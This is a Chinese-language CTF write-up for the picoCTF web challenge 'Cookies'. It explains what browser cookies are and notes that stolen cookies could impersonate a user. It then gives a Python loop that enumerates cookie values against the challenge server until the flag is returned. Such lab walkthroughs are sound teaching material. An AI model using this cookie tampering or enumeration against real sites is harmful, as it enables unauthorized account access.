引言
今天我們接續昨天的 web 滲透主題,繼續解該系列第二題吧。
昨天簡短介紹了一些 HTTP 的請求方法,
今天來介紹一點 Cookie ,這種餅乾到底是什麼餅乾呢?
[摘錄自維基百科: Cookie]
Cookie(複數形態:Cookies),又稱「小甜餅」。類型為「小型文字檔案」,指某些網站為了辨別使用者身分而儲存在用戶端(Client Side)上的資料(通常經過加密)。
我認為可以舉兩個例子來理解它是什麼概念:
這些功能基本上就是 Cookie 達成的,它是一種小小的文字檔案,
上面會紀錄著加密過的登入資訊、個人化設定等,
是由伺服器那邊在你登入、設定過後傳送給你的瀏覽器,儲存在你電腦這端的文字檔案。
所以理論上可以藉由一些方法,取得他人的 Cookie ,套用在自己瀏覽器上,
讓伺服器誤以為你是那個人,提供給你該人的登入狀態。
不過當然沒那麼容易的,只是從概念上或許是有辦法做到的。
Web Exploitation / Cookies
題目就直接提到了 Cookie ,並給你了一個網站,我們直接點進去吧:
會有個欄位請你填入文字,該文字框的底字是 snickerdoodle
,我們直接填進去看看:
會說輸入成功,但是並不是特殊餅乾,可以猜到應該有個特殊餅乾,而且應該就是 flag 。
有了頭緒後,我們先按下 F12 看看頁面資訊,而且其實這個功能是可以看到 Cookie 的:
先調整成我紅線畫的頁面,可以看到 Cookie 只有一個,名稱: name
、值: 0
。
你可以直接修改值後再按 F5 重新整理,例如我改成 1 再重新整理後:
變成巧克力脆片了!我們只要持續往上更改數字,就可以得到 flag 。
可以直接用 Python 來寫:
import requests
import bs4
n = 0
while True:
try:
r = requests.get('http://mercury.picoctf.net:54219/', cookies={'name':str(n)})
soup = bs4.BeautifulSoup(r.text, 'html.parser')
print(n, end=' ')
print(soup.find(style="text-align:center; font-size:30px;").find('b').text)
n += 1
except requests.exceptions.ConnectionError:
pass
bs4 只是為了要找出 I love chocolate chip cookies!
這行,並非必要,
有興趣可以自行查詢這個工具,也是非常常用的網頁爬蟲工具。
主要的程式是 requests.get('xxx', cookies={'yyy':'zzz'})
這段,
先對伺服器發出 GET 請求,然後傳送 cookie 給伺服器,我們就依序由 1 開始,
傳送 1, 2, 3, ... 等等,看看伺服器回傳什麼給我們。
結果在第 18 號時, flag 被傳送了回來!
0 I love snickerdoodle cookies!
1 I love chocolate chip cookies!
2 I love oatmeal raisin cookies!
3 I love gingersnap cookies!
4 I love shortbread cookies!
5 I love peanut butter cookies!
6 I love whoopie pie cookies!
7 I love sugar cookies!
8 I love molasses cookies!
9 I love kiss cookies!
10 I love biscotti cookies!
11 I love butter cookies!
12 I love spritz cookies!
13 I love snowball cookies!
14 I love drop cookies!
15 I love thumbprint cookies!
16 I love pinwheel cookies!
17 I love wafer cookies!
18 Flag
回到 Cookie 網站,將 Cookie name
的值改成 18 ,重新整理後: